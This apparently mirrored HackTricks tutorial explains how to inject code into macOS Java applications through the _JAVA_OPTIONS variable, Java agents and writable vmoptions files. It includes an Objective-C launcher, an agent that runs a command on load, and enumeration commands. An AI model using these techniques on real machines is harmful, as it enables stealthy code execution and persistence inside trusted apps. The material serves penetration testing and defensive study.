mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
201 lines
8.2 KiB
Markdown
201 lines
8.2 KiB
Markdown
# macOS Java Applications Injection
|
|
|
|
<details>
|
|
|
|
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Other ways to support HackTricks:
|
|
|
|
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
|
|
## Enumeration
|
|
|
|
Find Java applications installed in your system. It was noticed that Java apps in the **Info.plist** will contain some java parameters which contain the string **`java.`**, so you can search for that:
|
|
|
|
```bash
|
|
# Search only in /Applications folder
|
|
sudo find /Applications -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null
|
|
|
|
# Full search
|
|
sudo find / -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null
|
|
```
|
|
|
|
## \_JAVA\_OPTIONS
|
|
|
|
The env variable **`_JAVA_OPTIONS`** can be used to inject arbitrary java parameters in the execution of a java compiled app:
|
|
|
|
```bash
|
|
# Write your payload in a script called /tmp/payload.sh
|
|
export _JAVA_OPTIONS='-Xms2m -Xmx5m -XX:OnOutOfMemoryError="/tmp/payload.sh"'
|
|
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
|
|
```
|
|
|
|
To execute it as a new process and not as a child of the current terminal you can use:
|
|
|
|
```objectivec
|
|
#import <Foundation/Foundation.h>
|
|
// clang -fobjc-arc -framework Foundation invoker.m -o invoker
|
|
|
|
int main(int argc, const char * argv[]) {
|
|
@autoreleasepool {
|
|
// Specify the file path and content
|
|
NSString *filePath = @"/tmp/payload.sh";
|
|
NSString *content = @"#!/bin/bash\n/Applications/iTerm.app/Contents/MacOS/iTerm2";
|
|
|
|
NSError *error = nil;
|
|
|
|
// Write content to the file
|
|
BOOL success = [content writeToFile:filePath
|
|
atomically:YES
|
|
encoding:NSUTF8StringEncoding
|
|
error:&error];
|
|
|
|
if (!success) {
|
|
NSLog(@"Error writing file at %@\n%@", filePath, [error localizedDescription]);
|
|
return 1;
|
|
}
|
|
|
|
NSLog(@"File written successfully to %@", filePath);
|
|
|
|
// Create a new task
|
|
NSTask *task = [[NSTask alloc] init];
|
|
|
|
/// Set the task's launch path to use the 'open' command
|
|
[task setLaunchPath:@"/usr/bin/open"];
|
|
|
|
// Arguments for the 'open' command, specifying the path to Android Studio
|
|
[task setArguments:@[@"/Applications/Android Studio.app"]];
|
|
|
|
// Define custom environment variables
|
|
NSDictionary *customEnvironment = @{
|
|
@"_JAVA_OPTIONS": @"-Xms2m -Xmx5m -XX:OnOutOfMemoryError=/tmp/payload.sh"
|
|
};
|
|
|
|
// Get the current environment and merge it with custom variables
|
|
NSMutableDictionary *environment = [NSMutableDictionary dictionaryWithDictionary:[[NSProcessInfo processInfo] environment]];
|
|
[environment addEntriesFromDictionary:customEnvironment];
|
|
|
|
// Set the task's environment
|
|
[task setEnvironment:environment];
|
|
|
|
// Launch the task
|
|
[task launch];
|
|
}
|
|
return 0;
|
|
}
|
|
```
|
|
|
|
However, that will trigger an error on the executed app, another more stealth way is to create a java agent and use:
|
|
|
|
```bash
|
|
export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'
|
|
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
|
|
|
|
# Or
|
|
|
|
open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional"
|
|
```
|
|
|
|
{% hint style="danger" %}
|
|
Creating the agent with a **different Java version** from the application can crash the execution of both the agent and the application
|
|
{% endhint %}
|
|
|
|
Where the agent can be:
|
|
|
|
{% code title="Agent.java" %}
|
|
```java
|
|
import java.io.*;
|
|
import java.lang.instrument.*;
|
|
|
|
public class Agent {
|
|
public static void premain(String args, Instrumentation inst) {
|
|
try {
|
|
String[] commands = new String[] { "/usr/bin/open", "-a", "Calculator" };
|
|
Runtime.getRuntime().exec(commands);
|
|
}
|
|
catch (Exception err) {
|
|
err.printStackTrace();
|
|
}
|
|
}
|
|
}
|
|
```
|
|
{% endcode %}
|
|
|
|
To compile the agent run:
|
|
|
|
```bash
|
|
javac Agent.java # Create Agent.class
|
|
jar cvfm Agent.jar manifest.txt Agent.class # Create Agent.jar
|
|
```
|
|
|
|
With `manifest.txt`:
|
|
|
|
```
|
|
Premain-Class: Agent
|
|
Agent-Class: Agent
|
|
Can-Redefine-Classes: true
|
|
Can-Retransform-Classes: true
|
|
```
|
|
|
|
And then export the env variable and run the java application like:
|
|
|
|
```bash
|
|
export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar'
|
|
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
|
|
|
|
# Or
|
|
|
|
open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional"
|
|
```
|
|
|
|
## vmoptions file
|
|
|
|
This file support the specification of **Java params** when Java is executed. You could use some of the previous tricks to change the java params and **make the process execute arbitrary commands**.\
|
|
Moreover, this file can also **include others** with the `include` directory, so you could also change an included file.
|
|
|
|
Even more, some Java apps will **load more than one `vmoptions`** file.
|
|
|
|
Some applications like Android Studio indicates in their **output where are they looking** for these files, like:
|
|
|
|
```bash
|
|
/Applications/Android\ Studio.app/Contents/MacOS/studio 2>&1 | grep vmoptions
|
|
|
|
2023-12-13 19:53:23.920 studio[74913:581359] fullFileName is: /Applications/Android Studio.app/Contents/bin/studio.vmoptions
|
|
2023-12-13 19:53:23.920 studio[74913:581359] fullFileName exists: /Applications/Android Studio.app/Contents/bin/studio.vmoptions
|
|
2023-12-13 19:53:23.920 studio[74913:581359] parseVMOptions: /Applications/Android Studio.app/Contents/bin/studio.vmoptions
|
|
2023-12-13 19:53:23.921 studio[74913:581359] parseVMOptions: /Applications/Android Studio.app.vmoptions
|
|
2023-12-13 19:53:23.922 studio[74913:581359] parseVMOptions: /Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions
|
|
2023-12-13 19:53:23.923 studio[74913:581359] parseVMOptions: platform=20 user=1 file=/Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions
|
|
```
|
|
|
|
If they don't you can easily check for it with:
|
|
|
|
```bash
|
|
# Monitor
|
|
sudo eslogger lookup | grep vmoption # Give FDA to the Terminal
|
|
|
|
# Launch the Java app
|
|
/Applications/Android\ Studio.app/Contents/MacOS/studio
|
|
```
|
|
|
|
Note how interesting is that Android Studio in this example is trying to load the file **`/Applications/Android Studio.app.vmoptions`**, a place where any user from the **`admin` group has write access.**
|
|
|
|
<details>
|
|
|
|
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Other ways to support HackTricks:
|
|
|
|
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|